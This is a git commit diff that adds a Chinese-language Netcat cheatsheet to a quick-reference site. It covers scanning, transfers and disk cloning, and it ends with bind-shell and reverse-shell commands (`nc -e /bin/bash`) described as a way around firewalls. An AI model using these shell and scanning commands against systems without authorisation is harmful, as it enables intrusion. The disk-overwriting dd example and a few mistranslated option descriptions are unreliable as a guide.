feat: add netcat.svg
cheatsheet.
This commit is contained in:
parent
9d3a061bff
commit
ef976825e4
@ -78,6 +78,7 @@ Quick Reference
|
||||
[htop](./docs/htop.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
|
||||
[Home Brew](./docs/homebrew.md)<!--rehype:style=background: rgb(252 185 87/var(\-\-bg\-opacity));-->
|
||||
[Netstat](./docs/netstat.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
|
||||
[Netcat](./docs/netcat.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
|
||||
[Sed](./docs/sed.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
|
||||
[SSH](./docs/ssh.md)<!--rehype:style=background: rgb(99 99 99/var(\-\-bg\-opacity));-->
|
||||
[Screen](./docs/screen.md)<!--rehype:style=background: rgb(99 99 99/var(\-\-bg\-opacity));-->
|
||||
|
@ -1,7 +1,7 @@
|
||||
Git 备忘清单
|
||||
===
|
||||
|
||||
本备忘单总结了常用的 Git 命令行指令,以供快速参考。
|
||||
本备忘单总结了常用的 [Git](https://git-scm.com/) 命令行指令,以供快速参考。
|
||||
|
||||
入门
|
||||
----
|
||||
|
231
docs/netcat.md
Normal file
231
docs/netcat.md
Normal file
@ -0,0 +1,231 @@
|
||||
Netcat 备忘清单
|
||||
===
|
||||
|
||||
该备忘单提供了在 Linux 和 Unix 上使用 Netcat 的各种方法。
|
||||
|
||||
入门
|
||||
------
|
||||
<!--rehype:body-class=cols-5-->
|
||||
|
||||
### 用法
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
连接到位于任何地方的主机
|
||||
|
||||
```shell
|
||||
$ nc [options] [host] [port]
|
||||
```
|
||||
|
||||
监听传入连接
|
||||
|
||||
```shell
|
||||
$ nc -lp port [host] [port]
|
||||
```
|
||||
|
||||
### 选项示例
|
||||
<!--rehype:wrap-class=col-span-3 row-span-2-->
|
||||
|
||||
|
||||
选项 | 示例 | 说明
|
||||
:- | :- | :-
|
||||
`-h` | nc -h | 帮助
|
||||
`-z` | nc -z 192.168.1.9 1-100 | 端口扫描主机或 `IP` 地址
|
||||
`-v` | nc -zv 192.168.1.9 1-100 | 提供详细输出
|
||||
`-n` | nc -zn 192.168.1.9 1-100 | 通过禁用 `DNS` 解析进行快速扫描
|
||||
`-l` | nc -lp 8000 | `TCP` 侦听模式 _(用于入站连接)_
|
||||
`-w` | nc -w 180 192.168.1.9 8000 | 定义超时值
|
||||
`-k` | nc -kl 8000 | 断线后继续收听
|
||||
`-u` | nc -u 192.168.1.9 8000 | 使用 `UDP` 而不是 `TCP`
|
||||
`-q` | nc -q 1 192.168.1.9 8000 | 客户在 `EOF` 后熬夜
|
||||
`-4` | nc -4 -l 8000 | 仅限 `IPv4`
|
||||
`-6` | nc -6 -l 8000 | 仅限 `IPv6`
|
||||
|
||||
|
||||
### 聊天客户端-服务器
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
服务器 Server (192.168.1.9)
|
||||
|
||||
```shell
|
||||
$ nc -lv 8000
|
||||
```
|
||||
|
||||
客户端 Client
|
||||
|
||||
```shell
|
||||
$ nc 192.168.1.9 8000
|
||||
```
|
||||
|
||||
Netcat 示例
|
||||
--------
|
||||
|
||||
### Banner 抓取
|
||||
|
||||
```shell
|
||||
$ nc website.com 80
|
||||
GET index.html HTTP/1.1
|
||||
HEAD / HTTP/1.1
|
||||
```
|
||||
|
||||
或者
|
||||
|
||||
```shell
|
||||
echo "" | nc -zv -wl 192.168.1.1 801-805
|
||||
```
|
||||
|
||||
### 端口扫描
|
||||
|
||||
扫描 `21` 到 `25` 之间的端口
|
||||
|
||||
```shell
|
||||
$ nc -zvn 192.168.1.1 21-25
|
||||
```
|
||||
|
||||
扫描端口 `22`、`3306` 和 `8080`
|
||||
|
||||
```shell
|
||||
$ nc -zvn 192.168.1.1 22 3306 8080
|
||||
```
|
||||
|
||||
### 代理和端口转发
|
||||
|
||||
```shell
|
||||
$ nc -lp 8001 -c "nc 127.0.0.1 8000"
|
||||
```
|
||||
|
||||
或者
|
||||
|
||||
```shell
|
||||
$ nc -l 8001 | nc 127.0.0.1 8000
|
||||
```
|
||||
|
||||
创建从一个本地端口到另一个本地端口的隧道
|
||||
|
||||
### 下载文件
|
||||
|
||||
服务器 Server (192.168.1.9)
|
||||
|
||||
```shell
|
||||
$ nc -lv 8000 < file.txt
|
||||
```
|
||||
|
||||
客户端 Client
|
||||
|
||||
```shell
|
||||
$ nc -nv 192.168.1.9 8000 > file.txt
|
||||
```
|
||||
|
||||
假设您想将文件 `file.txt` 从服务器 A 传输到客户端 B。
|
||||
|
||||
### 上传文件
|
||||
|
||||
服务器 Server (192.168.1.9)
|
||||
|
||||
```shell
|
||||
$ nc -lv 8000 > file.txt
|
||||
```
|
||||
|
||||
客户端 Client
|
||||
|
||||
```shell
|
||||
$ nc 192.168.1.9 8000 < file.txt
|
||||
```
|
||||
|
||||
假设您想将文件 `file.txt` 从客户端 `B` 传输到服务器 `A`
|
||||
|
||||
### 目录传输
|
||||
|
||||
服务器 Server (192.168.1.9)
|
||||
|
||||
```shell
|
||||
$ tar -cvf – dir_name | nc -l 8000
|
||||
```
|
||||
|
||||
客户端 Client
|
||||
|
||||
```shell
|
||||
$ nc -n 192.168.1.9 8000 | tar -xvf -
|
||||
```
|
||||
|
||||
假设您想通过网络将目录从 `A` 传输到 `B`
|
||||
|
||||
### 加密传输
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
服务器 Server (192.168.1.9)
|
||||
|
||||
```shell
|
||||
$ nc -l 8000 | openssl enc -d -des3 -pass pass:password > file.txt
|
||||
```
|
||||
|
||||
客户端 Client
|
||||
|
||||
```shell
|
||||
$ openssl enc -des3 -pass pass:password | nc 192.168.1.9 8000
|
||||
```
|
||||
|
||||
在通过网络传输之前加密数据
|
||||
|
||||
### 克隆
|
||||
|
||||
服务器 Server (192.168.1.9)
|
||||
|
||||
```shell
|
||||
$ dd if=/dev/sda | nc -l 8000
|
||||
```
|
||||
|
||||
客户端 Client
|
||||
|
||||
```shell
|
||||
$ nc -n 192.168.1.9 8000 | dd of=/dev/sda
|
||||
```
|
||||
|
||||
克隆 linux PC 非常简单。假设你的系统盘是 /dev/sda
|
||||
|
||||
### 视频流
|
||||
|
||||
服务器 Server (192.168.1.9)
|
||||
|
||||
```shell
|
||||
$ cat video.avi | nc -l 8000
|
||||
```
|
||||
|
||||
客户端 Client
|
||||
|
||||
```shell {.wrap}
|
||||
$ nc 192.168.1.9 8000 | mplayer -vo x11 -cache 3000 -
|
||||
```
|
||||
|
||||
使用 netcat 流式传输视频
|
||||
|
||||
### 远程 shell
|
||||
|
||||
服务器 Server (192.168.1.9)
|
||||
|
||||
```shell
|
||||
$ nc -lv 8000 -e /bin/bash
|
||||
```
|
||||
|
||||
客户端 Client
|
||||
|
||||
```shell
|
||||
$ nc 192.168.1.9 8000
|
||||
```
|
||||
|
||||
我们已经使用 `telnet` 和 `ssh` 使用远程 `Shell`,但是如果它们没有安装并且我们没有安装它们的权限,那么我们也可以使用 `netcat` 创建远程 `shell`
|
||||
|
||||
### 逆转 shell
|
||||
|
||||
服务器 Server (192.168.1.9)
|
||||
|
||||
```shell
|
||||
$ nc -lv 8000
|
||||
```
|
||||
|
||||
客户端 Client
|
||||
|
||||
```shell
|
||||
$ nc 192.168.1.9 8000 -v -e /bin/bash
|
||||
```
|
||||
|
||||
反向 `shell` 通常用于绕过防火墙限制,例如阻止入站连接
|
3
scripts/assets/colors-named.svg
Normal file
3
scripts/assets/colors-named.svg
Normal file
@ -0,0 +1,3 @@
|
||||
<svg xmlns="http://www.w3.org/2000/svg" fill="currentColor" height="1em" width="1em" viewBox="0 0 24 24">
|
||||
<path d="M19.54 5.08A10.61 10.61 0 0 0 11.91 2a10 10 0 0 0-.05 20 2.58 2.58 0 0 0 2.53-1.89 2.52 2.52 0 0 0-.57-2.28.5.5 0 0 1 .37-.83h1.65A6.15 6.15 0 0 0 22 11.33a8.48 8.48 0 0 0-2.46-6.25Zm-12.7 9.66a1.5 1.5 0 1 1 .4-2.08 1.49 1.49 0 0 1-.4 2.08ZM8.3 9.25a1.5 1.5 0 1 1-.55-2 1.5 1.5 0 0 1 .55 2ZM11 7a1.5 1.5 0 1 1 1.5-1.5A1.5 1.5 0 0 1 11 7Zm5.75.8a1.5 1.5 0 1 1 .55-2 1.5 1.5 0 0 1-.55 2Z" style="fill:#231f20" id="color-palette-2"/>
|
||||
</svg>
|
After Width: | Height: | Size: 555 B |
3
scripts/assets/netcat.svg
Normal file
3
scripts/assets/netcat.svg
Normal file
@ -0,0 +1,3 @@
|
||||
<svg xmlns="http://www.w3.org/2000/svg" height="1em" width="1em" viewBox="0 0 30 27">
|
||||
<path fill="currentColor" fill-rule="evenodd" d="M24.1575957,7.91399838 C19.6909292,2.9579985 10.7162627,2.9579985 6.2509295,7.91399838 C4.72692954,9.60599833 4.04826289,11.7206649 4.28826288,14.0313316 C4.61226288,17.1499981 5.87759618,19.8033314 7.83359613,21.6193314 C7.8642628,21.0966647 7.86159613,20.4646647 7.78559613,19.6833314 L7.46692947,16.4099982 L10.3602627,17.9726648 C13.4069293,19.6179981 17.0002626,19.6179981 20.0455958,17.9726648 L22.9389291,16.4099982 L22.6215958,19.6833314 C22.5442624,20.4646647 22.5429291,21.0966647 22.5735958,21.6193314 C24.5295957,19.8033314 25.794929,17.1499981 26.118929,14.0313316 C26.358929,11.7206649 25.682929,9.60599833 24.1575957,7.91399838 M29.6015956,14.3926649 C29.0642623,19.5833314 26.430929,23.8366646 22.3789291,26.0646646 L21.1455958,26.7433312 L20.2189292,25.6833313 C20.1015958,25.5486646 19.2989292,24.5486646 19.0975958,22.153998 C16.7162626,22.8913313 13.6909293,22.8913313 11.3109294,22.153998 C11.109596,24.5486646 10.3069294,25.5486646 10.1895961,25.6833313 L9.26159609,26.7433312 L8.02826279,26.0646646 C3.97626289,23.837998 1.34426296,19.5833314 0.805596305,14.3926649 C0.46426298,11.1153316 1.47492962,7.98333171 3.64959623,5.56999844 C9.51359609,-0.934001402 20.8949291,-0.934001402 26.7575957,5.56999844 C28.9335956,7.98333171 29.9429289,11.1153316 29.6015956,14.3926649" transform="matrix(1 0 0 -1 0 27.435)"/>
|
||||
</svg>
|
After Width: | Height: | Size: 1.4 KiB |
Loading…
x
Reference in New Issue
Block a user